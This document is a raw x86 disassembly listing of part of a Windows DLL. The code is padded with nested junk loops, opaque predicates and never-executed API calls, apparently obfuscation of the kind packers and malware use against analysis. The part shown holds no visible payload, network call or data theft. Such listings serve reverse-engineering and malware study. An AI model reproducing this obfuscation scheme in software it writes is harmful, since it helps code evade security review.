lea ecx, [ebp - 0x1314]
call fcn.100211fe
mov byte [ebp - 4], 0x22
mov dword [ebp - 0xf28], 1
mov dword [ebp - 0x314], 0
jmp 0x1003c111
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 1
jge 0x1003c133
push dword [ebp - 0x314]
lea ecx, [ebp - 0x1314]
call fcn.1002129c
mov dword [eax], 0x819d3388
jmp 0x1003c104
mov byte [ebp - 0x166], 0
movzx eax, byte [ebp - 0x166]
test eax, eax
je 0x1003c14f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [ebp - 0x28], 0
jmp 0x1003c15f
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jg 0x1003c2e5
mov byte [ebp - 0x15a], 0
movzx eax, byte [ebp - 0x15a]
test eax, eax
je 0x1003c187
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp - 0x28]
lea ecx, [ebp - 0xcc0]
call fcn.1002129c
cmp dword [ebp - 0x10bc], 8
jbe 0x1003c1aa
mov dword [ebp - 0x6ec], 1
jmp 0x1003c1b1
and dword [ebp - 0x6ec], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0xcc0]
call fcn.1002129c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6ec]
jg 0x1003c1d5
mov dword [ebp - 0x6f4], 1
jmp 0x1003c1dc
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x6f4]
jne 0x1003c1f3
mov dword [ebp - 0xf1c], 1
jmp 0x1003c1fa
and dword [ebp - 0xf1c], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0xcc0]
call fcn.1002129c
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x28]
cmp dword [ebp + eax - 0x121c], ecx
jne 0x1003c228
cmp dword [ebp - 0x28], 0
jne 0x1003c228
and dword [ebp - 0x6fc], 0
jmp 0x1003c232
mov dword [ebp - 0x6fc], 1
push dword [ebp - 0x28]
lea ecx, [ebp - 0xcc0]
call fcn.1002129c
mov ecx, dword [ebp - 0x6fc]
cmp ecx, dword [eax]
jne 0x1003c256
mov dword [ebp - 0x704], 1
jmp 0x1003c25d
and dword [ebp - 0x704], 0
cmp dword [ebp - 0x704], 0
jl 0x1003c272
mov dword [ebp - 0x70c], 1
jmp 0x1003c279
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x112c], eax
push 0
lea ecx, [ebp - 0x1314]
call fcn.1002129c
mov ecx, dword [ebp - 0x112c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1558], eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0xcc0]
call fcn.1002129c
imul eax, dword [eax], 0xa7bc
cmp eax, 0xb689
jge 0x1003c2cd
mov dword [ebp - 0x714], 1
jmp 0x1003c2d4
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x714]
mov dword [ebp - 0xf28], eax
jmp 0x1003c158
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1314]
call fcn.10021280
jmp 0x1003c0aa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcc0]
call fcn.10021280
cmp dword [ebp - 0x188], 0xffffffff
jne 0x1003e963
mov dword [ebp - 0x71c], 0x4c8c
mov dword [ebp - 0x10c4], 0x1000aff0
cmp dword [ebp - 0x71c], 0x4f5c
jle 0x1003c3e1
and dword [ebp - 0x32c], 0
jmp 0x1003c34f
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x1415
jge 0x1003c3e1
and dword [ebp - 0x31c], 0
jmp 0x1003c375
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x7035
jge 0x1003c3dc
and dword [ebp - 0x324], 0
jmp 0x1003c397
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x4f22
jge 0x1003c3da
mov eax, dword [ebp - 0x31c]
add eax, dword [ebp - 0x324]
and eax, dword [ebp - 0x32c]
cdq
mov dword [ebp - 0xfa8], eax
mov dword [ebp - 0xfa4], edx
push dword [ebp - 0xfa4]
push dword [ebp - 0xfa8]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003c38a
jmp 0x1003c368
jmp 0x1003c342
mov dword [ebp - 0x34], 0x3d06ce12
cmp dword [ebp - 0x71c], 0x4ba4
jge 0x1003c404
mov edx, dword [ebp - 0x10c4]
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x120], 0x1d69f428
mov dword [ebp - 0x18c], 0xdb856137
mov dword [ebp - 0x5ac], 0xfffffff8
mov dword [ebp - 0x7d4], 0x2f22
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x7e4], 0x44fb
mov dword [ebp - 0xf64], 0x1000b04c
cmp dword [ebp - 0x7e4], 0x48d5
jle 0x1003c53e
and dword [ebp - 0x334], 0
jmp 0x1003c46f
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x73dd
jge 0x1003c53e
and dword [ebp - 0x33c], 0
jmp 0x1003c495
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x6e00
jge 0x1003c539
and dword [ebp - 0x344], 0
jmp 0x1003c4bb
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x76e2
jge 0x1003c534
and dword [ebp - 0x34c], 0
jmp 0x1003c4dd
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x7f0b
jge 0x1003c52f
mov esi, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x33c]
shl esi, cl
mov eax, dword [ebp - 0x344]
cdq
idiv dword [ebp - 0x34c]
mov ecx, edx
shl esi, cl
mov eax, esi
cdq
mov dword [ebp - 0xfb4], eax
mov dword [ebp - 0xfb0], edx
push dword [ebp - 0xfb0]
push dword [ebp - 0xfb4]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003c4d0
jmp 0x1003c4ae
jmp 0x1003c488
jmp 0x1003c462
mov dword [ebp - 0x120], 0xffffffff
mov eax, dword [ebp - 0x18c]
add eax, 0x8a06
mov ecx, dword [ebp - 0x18c]
add ecx, dword [ebp - 0x120]
cmp ecx, eax
je 0x1003c56f
mov dword [ebp - 0x724], 1
jmp 0x1003c576
and dword [ebp - 0x724], 0
cmp dword [ebp - 0x724], 1
jl 0x1003c58b
mov dword [ebp - 0xf34], 1
jmp 0x1003c592
and dword [ebp - 0xf34], 0
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x1560], eax
cmp dword [ebp - 0x34], 0
je 0x1003cb8c
mov dword [ebp - 0x354], 0xffffffff
mov dword [ebp - 0x74c], 6
mov dword [ebp - 0x1568], 0
mov dword [ebp - 0x1570], 0xffffffff
imul eax, dword [ebp - 0x34], 0xf393
test eax, eax
jne 0x1003c60e
xor eax, eax
inc eax
je 0x1003c5f5
cmp dword [ebp - 0x74c], 0
je 0x1003c5f5
mov dword [ebp - 0x72c], 1
jmp 0x1003c5fc
and dword [ebp - 0x72c], 0
cmp dword [ebp - 0x72c], 1
jae 0x1003c60e
and dword [ebp - 0x734], 0
jmp 0x1003c618
mov dword [ebp - 0x734], 1
mov eax, dword [ebp - 0x18c]
cmp eax, dword [ebp - 0x734]
je 0x1003c632
mov dword [ebp - 0x73c], 1
jmp 0x1003c639
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x354]
cmp eax, dword [ebp - 0x73c]
jge 0x1003c653
mov dword [ebp - 0x744], 1
jmp 0x1003c65a
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x165c], eax
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x1664], eax
cmp dword [ebp - 0x18c], 0
jne 0x1003c699
cmp dword [ebp - 0x354], 0
jne 0x1003c699
and dword [ebp - 0x640], 0
jmp 0x1003c6a3
mov dword [ebp - 0x640], 1
cmp dword [ebp - 0x640], 0x7d43
jle 0x1003c6bb
mov dword [ebp - 0x75c], 1
jmp 0x1003c6c2
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x354]
add eax, dword [ebp - 0x75c]
imul eax, dword [ebp - 0x34]
test eax, eax
je 0x1003c6dd
cmp dword [ebp - 0x354], 0
cmp dword [ebp - 0x18c], 0xe055a24b
jb 0x1003c8c6
push 2
lea ecx, [ebp - 0x1600]
call fcn.100211fe
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x35c], 0
jmp 0x1003c71a
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 2
jge 0x1003c739
push dword [ebp - 0x35c]
lea ecx, [ebp - 0x1600]
call fcn.1002129c
or dword [eax], 0xffffffff
jmp 0x1003c70d
mov dword [ebp - 0x764], 0x40ff
mov dword [ebp - 0x1184], 0x1000b084
cmp dword [ebp - 0x764], 0x4483
jle 0x1003c846
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
and dword [ebp - 0x364], 0
jmp 0x1003c77d
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x7fe7
jge 0x1003c846
and dword [ebp - 0x36c], 0
jmp 0x1003c7a3
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x1a45
jge 0x1003c841
and dword [ebp - 0x374], 0
jmp 0x1003c7c9
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x135e
jge 0x1003c83c
and dword [ebp - 0x37c], 0
jmp 0x1003c7eb
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x4e6a
jge 0x1003c83a
mov eax, dword [ebp - 0x364]
mov ecx, dword [ebp - 0x36c]
shl eax, cl
mov edx, dword [ebp - 0x374]
mov ecx, dword [ebp - 0x37c]
sar edx, cl
or eax, edx
cdq
mov dword [ebp - 0xfc0], eax
mov dword [ebp - 0xfbc], edx
push dword [ebp - 0xfbc]
push dword [ebp - 0xfc0]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003c7de
jmp 0x1003c7bc
jmp 0x1003c796
jmp 0x1003c770
mov dword [ebp - 0x34], 1
jmp 0x1003c856
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x1003c896
mov byte [ebp - 0x170], 0
movzx eax, byte [ebp - 0x170]
test eax, eax
je 0x1003c87a
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
mov byte [ebp - 0x15c], 0
movzx eax, byte [ebp - 0x15c]
test eax, eax
je 0x1003c894
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x1003c84f
cmp dword [ebp - 0x764], 0x40dc
jge 0x1003c8b2
mov edx, dword [ebp - 0x1184]
mov ecx, 0x10084b98
call fcn.10023c34
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1600]
call fcn.10021280
jmp 0x1003cb87
mov dword [ebp - 0x10cc], 1
mov dword [ebp - 0x166c], 0xffffffff
mov dword [ebp - 0xf4c], 0xa5481f04
mov dword [ebp - 0x1674], 1
mov dword [ebp - 0x167c], 0x13a861d8
mov dword [ebp - 0x78c], 0x5ea3
mov dword [ebp - 0x113c], 0x1000b0ac
cmp dword [ebp - 0x78c], 0x60b8
jle 0x1003c9c3
and dword [ebp - 0x384], 0
jmp 0x1003c932
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x6d61
jge 0x1003c9c3
and dword [ebp - 0x38c], 0
jmp 0x1003c958
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x6dca
jge 0x1003c9be
mov eax, dword [ebp - 0x384]
cdq
idiv dword [ebp - 0x38c]
mov eax, edx
cdq
mov dword [ebp - 0xfcc], eax
mov dword [ebp - 0xfc8], edx
push dword [ebp - 0xfc8]
push dword [ebp - 0xfcc]
lea ecx, [ebp - 0x18bc]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xf40], eax
mov ecx, dword [ebp - 0xf40]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x18bc]
call fcn.10020eba
jmp 0x1003c94b
jmp 0x1003c925
cmp dword [ebp - 0x34], 1
jg 0x1003c9d5
mov dword [ebp - 0x76c], 1
jmp 0x1003c9dc
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x76c]
sub eax, 0x65331cfc
je 0x1003c9fe
cmp dword [ebp - 0x120], 0
je 0x1003c9fe
mov dword [ebp - 0x774], 1
jmp 0x1003ca05
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x774], eax
jne 0x1003ca1c
mov dword [ebp - 0x77c], 1
jmp 0x1003ca23
and dword [ebp - 0x77c], 0
cmp dword [ebp - 0x77c], 0x3f3b
jle 0x1003ca41
cmp dword [ebp - 0x10cc], 0
jne 0x1003ca41
and dword [ebp - 0x784], 0
jmp 0x1003ca4b
mov dword [ebp - 0x784], 1
mov eax, dword [ebp - 0x784]
neg eax
sub eax, dword [ebp - 0xf4c]
mov dword [ebp - 0x5ac], eax
cmp dword [ebp - 0x78c], 0x5bce
jge 0x1003ca77
push dword [ebp - 0x113c]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x794], 0x7378
mov dword [ebp - 0xf58], 0x1000b0e0
cmp dword [ebp - 0x794], 0x74e5
jle 0x1003cb4f
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
and dword [ebp - 0x394], 0
jmp 0x1003cabb
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x5cbd
jge 0x1003cb4f
and dword [ebp - 0x39c], 0
jmp 0x1003cae1
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x2c6a
jge 0x1003cb4a
and dword [ebp - 0x3a4], 0
jmp 0x1003cb03
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x12b4
jge 0x1003cb48
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x39c]
shl eax, cl
or eax, dword [ebp - 0x3a4]
cdq
mov dword [ebp - 0xfd8], eax
mov dword [ebp - 0xfd4], edx
push dword [ebp - 0xfd4]
push dword [ebp - 0xfd8]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003caf6
jmp 0x1003cad4
jmp 0x1003caae
mov byte [ebp - 0x168], 0
cmp dword [ebp - 0x794], 0x70fb
jge 0x1003cb72
mov edx, dword [ebp - 0xf58]
mov ecx, 0x10084b98
call fcn.10023c34
movzx eax, byte [ebp - 0x168]
test eax, eax
je 0x1003cb87
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
jmp 0x1003cd64
mov dword [ebp - 0x3b4], 0x4c1b2f08
mov dword [ebp - 0x5f0], 0xfffffff6
push 1
lea ecx, [ebp - 0x132c]
call fcn.100211fe
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x3ac], 0
jmp 0x1003cbcd
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 1
jge 0x1003cbef
push dword [ebp - 0x3ac]
lea ecx, [ebp - 0x132c]
call fcn.1002129c
mov dword [eax], 1
jmp 0x1003cbc0
cmp dword [ebp - 0x34], 0x473f
jl 0x1003cc0d
cmp dword [ebp - 0x3b4], 0
je 0x1003cc0d
mov dword [ebp - 0x79c], 1
jmp 0x1003cc14
and dword [ebp - 0x79c], 0
cmp dword [ebp - 0x79c], 5
jae 0x1003cc29
mov dword [ebp - 0x7a4], 1
jmp 0x1003cc30
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x5ac]
add eax, dword [ebp - 0x7a4]
cmp eax, 8
jae 0x1003cc4e
xor eax, eax
jne 0x1003cc4e
and dword [ebp - 0x7ac], 0
jmp 0x1003cc58
mov dword [ebp - 0x7ac], 1
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x7ac], eax
jle 0x1003cc75
mov eax, 0x12663943
test eax, eax
jne 0x1003cc75
and dword [ebp - 0x7b4], 0
jmp 0x1003cc7f
mov dword [ebp - 0x7b4], 1
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x7b4]
jl 0x1003cc99
mov dword [ebp - 0x7bc], 1
jmp 0x1003cca0
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x7bc], eax
je 0x1003ccb7
mov dword [ebp - 0x7c4], 1
jmp 0x1003ccbe
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x5f0], eax
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x1684], eax
cmp dword [ebp - 0x3b4], 0xfe160045
jae 0x1003ccee
mov dword [ebp - 0x7cc], 1
jmp 0x1003ccf5
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x7d4], eax
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x7dc], eax
push 0
lea ecx, [ebp - 0x132c]
call fcn.1002129c
mov ecx, dword [ebp - 0x7dc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3b4]
add eax, dword [ebp - 0x7dc]
cmp dword [ebp - 0x3b4], eax
jge 0x1003cd42
mov dword [ebp - 0x10d4], 1
jmp 0x1003cd49
and dword [ebp - 0x10d4], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x5ac], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x132c]
call fcn.10021280
cmp dword [ebp - 0x7e4], 0x44a3
jge 0x1003cd80
mov edx, dword [ebp - 0xf64]
mov ecx, 0x10084b98
call fcn.10023c34
mov ecx, 0x1008a01c
call fcn.100420af
mov ecx, dword [ebp - 0xc8]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1008a01c
call fcn.100420b3
mov dword [ebp - 0x834], 0x9f8
mov dword [ebp - 0xf7c], 0x1000b128
cmp dword [ebp - 0x834], 0xd0f
jle 0x1003cea5
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
and dword [ebp - 0x3cc], 0
jmp 0x1003cde4
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x2698
jge 0x1003cea5
and dword [ebp - 0x3bc], 0
jmp 0x1003ce0a
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0x7c4d
jge 0x1003cea0
and dword [ebp - 0x3c4], 0
jmp 0x1003ce30
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x16f3
jge 0x1003ce9b
mov eax, dword [ebp - 0x3bc]
mov ecx, dword [ebp - 0x3c4]
shl eax, cl
or eax, dword [ebp - 0x3cc]
cdq
mov dword [ebp - 0xfe4], eax
mov dword [ebp - 0xfe0], edx
push dword [ebp - 0xfe0]
push dword [ebp - 0xfe4]
lea ecx, [ebp - 0x18e0]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0x1170], eax
mov ecx, dword [ebp - 0x1170]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x18e0]
call fcn.10020eba
jmp 0x1003ce23
jmp 0x1003cdfd
jmp 0x1003cdd7
mov dword [ebp - 0x80], 0x1928c176
mov dword [ebp - 0x3fc], 0xfffffffb
mov dword [ebp - 0x168c], 0x1230b63e
mov dword [ebp - 0x80], 6
jmp 0x1003ced0
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x15
je 0x1003d17a
mov dword [ebp - 0x1ac], 0xffffffff
mov dword [ebp - 0x7f4], 0xfffffffd
mov dword [ebp - 0x5b4], 0x50270f9e
mov dword [ebp - 0x82c], 0x4563
mov dword [ebp - 0x10dc], 0x1000b170
cmp dword [ebp - 0x82c], 0x478c
jle 0x1003cff5
and dword [ebp - 0x3d4], 0
jmp 0x1003cf32
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x41de
jge 0x1003cff5
and dword [ebp - 0x3dc], 0
jmp 0x1003cf58
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0x69a5
jge 0x1003cff0
and dword [ebp - 0x3e4], 0
jmp 0x1003cf7e
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0x1506
jge 0x1003cfeb
and dword [ebp - 0x3f4], 0
jmp 0x1003cfa0
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x6b35
jge 0x1003cfe9
mov eax, dword [ebp - 0x3d4]
sub eax, dword [ebp - 0x3dc]
sub eax, dword [ebp - 0x3e4]
or eax, dword [ebp - 0x3f4]
cdq
mov dword [ebp - 0xff0], eax
mov dword [ebp - 0xfec], edx
push dword [ebp - 0xfec]
push dword [ebp - 0xff0]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003cf93
jmp 0x1003cf71
jmp 0x1003cf4b
jmp 0x1003cf25
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1694], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x169c], eax
cmp dword [ebp - 0x1ac], 0xffffffff
jg 0x1003d01f
mov dword [ebp - 0x7ec], 1
jmp 0x1003d026
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x7ec]
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0xffffffff
jne 0x1003d047
mov dword [ebp - 0x7fc], 1
jmp 0x1003d04e
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0x5b4], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x5b4], eax
jne 0x1003d071
mov dword [ebp - 0xf70], 1
jmp 0x1003d078
and dword [ebp - 0xf70], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x16a4], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x5b4], eax
jge 0x1003d093
cmp dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x3fc], eax
jg 0x1003d0ad
mov dword [ebp - 0x804], 1
jmp 0x1003d0b4
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x3fc]
add eax, dword [ebp - 0x804]
jne 0x1003d0d4
mov eax, 0x2abf7c2f
test eax, eax
jne 0x1003d0d4
and dword [ebp - 0x80c], 0
jmp 0x1003d0de
mov dword [ebp - 0x80c], 1
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x80c], eax
jne 0x1003d0f8
mov dword [ebp - 0x814], 1
jmp 0x1003d0ff
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x814], eax
je 0x1003d11f
mov eax, 0x840d
test eax, eax
jne 0x1003d11f
and dword [ebp - 0x81c], 0
jmp 0x1003d129
mov dword [ebp - 0x81c], 1
mov eax, dword [ebp - 0x3fc]
cmp dword [ebp - 0x81c], eax
jge 0x1003d143
mov dword [ebp - 0x824], 1
jmp 0x1003d14a
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x824]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x82c], 0x4319
jge 0x1003d175
mov edx, dword [ebp - 0x10dc]
mov ecx, 0x10084b98
call fcn.10023c34
jmp 0x1003cec9
cmp dword [ebp - 0x834], 0x81d
jge 0x1003d192
push dword [ebp - 0xf7c]
call fcn.10069ba3
pop ecx
and dword [ebp - 0x194], 0
jmp 0x1003d1a8
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x194]
cmp ecx, dword [eax + 0x18]
jae 0x1003e963
push 2
lea ecx, [ebp - 0xccc]
call fcn.100211fe
mov dword [ebp - 4], 0x25
mov dword [ebp - 0xbc], 0x19d29be1
mov dword [ebp - 0x16a0], 8
mov dword [ebp - 0x424], 0x13fe662d
mov dword [ebp - 0x83c], 0x6906
mov dword [ebp - 0xf88], 0x1000b198
cmp dword [ebp - 0x83c], 0x6ae2
jle 0x1003d2be
and dword [ebp - 0x404], 0
jmp 0x1003d229
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0x445e
jge 0x1003d2b4
and dword [ebp - 0x40c], 0
jmp 0x1003d24b
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0x9d0
jge 0x1003d2af
mov eax, dword [ebp - 0x404]
imul eax, dword [ebp - 0x40c]
cdq
mov dword [ebp - 0xffc], eax
mov dword [ebp - 0xff8], edx
push dword [ebp - 0xff8]
push dword [ebp - 0xffc]
lea ecx, [ebp - 0x1910]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0x114c], eax
mov ecx, dword [ebp - 0x114c]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x1910]
call fcn.10020eba
jmp 0x1003d23e
jmp 0x1003d21c
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
mov dword [ebp - 0x1660], 0x45f5b1b6
cmp dword [ebp - 0x83c], 0x6650
jge 0x1003d2e0
push dword [ebp - 0xf88]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x1418], 0xa27289ff
push 2
lea ecx, [ebp - 0x1610]
call fcn.100211fe
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x844], 0
mov dword [ebp - 0x88], 0
jmp 0x1003d31e
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x1003d340
push dword [ebp - 0x88]
lea ecx, [ebp - 0xccc]
call fcn.1002129c
mov dword [eax], 0x6482
jmp 0x1003d311
mov dword [ebp - 0x88], 0
jmp 0x1003d359
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x1003d378
push dword [ebp - 0x88]
lea ecx, [ebp - 0x1610]
call fcn.1002129c
and dword [eax], 0
jmp 0x1003d34c
mov dword [ebp - 0xbc], 0
jmp 0x1003d391
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jg 0x1003d68b
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1374], 0x97412df3
mov dword [ebp - 0x414], 0
jmp 0x1003d3c8
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 2
jge 0x1003d3e4
mov eax, dword [ebp - 0x414]
mov dword [ebp + eax*4 - 0x1410], 0xd8cf4c59
jmp 0x1003d3bb
mov dword [ebp - 0x24], 1
jmp 0x1003d3f4
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x1003d41e
push dword [ebp - 0x24]
lea ecx, [ebp - 0xccc]
call fcn.1002129c
mov esi, eax
push dword [ebp - 0x24]
lea ecx, [ebp - 0xccc]
call fcn.1002129c
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x1003d3ed
mov dword [ebp - 0x24], 0
jmp 0x1003d42e
cmp dword [ebp - 0x24], 1
jg 0x1003d686
mov dword [ebp - 0x1420], 0x555145cc
mov dword [ebp - 0x1428], 0xffffffff
mov dword [ebp - 0x5bc], 0xafb5d1cb
mov dword [ebp - 0x1380], 0xc4e2bf5
mov dword [ebp - 0x14f4], 9
mov dword [ebp - 0x85c], 0x42cc3231
mov dword [ebp - 0x41c], 0
jmp 0x1003d48d
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 2
jge 0x1003d4a9
mov eax, dword [ebp - 0x41c]
mov dword [ebp + eax*4 - 0x1404], 9
jmp 0x1003d480
mov eax, dword [ebp - 0x844]
inc eax
mov dword [ebp - 0x844], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jne 0x1003d4ca
mov dword [ebp - 0x84c], 1
jmp 0x1003d4d1
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 2
jge 0x1003d4e6
mov dword [ebp - 0x854], 1
jmp 0x1003d4ed
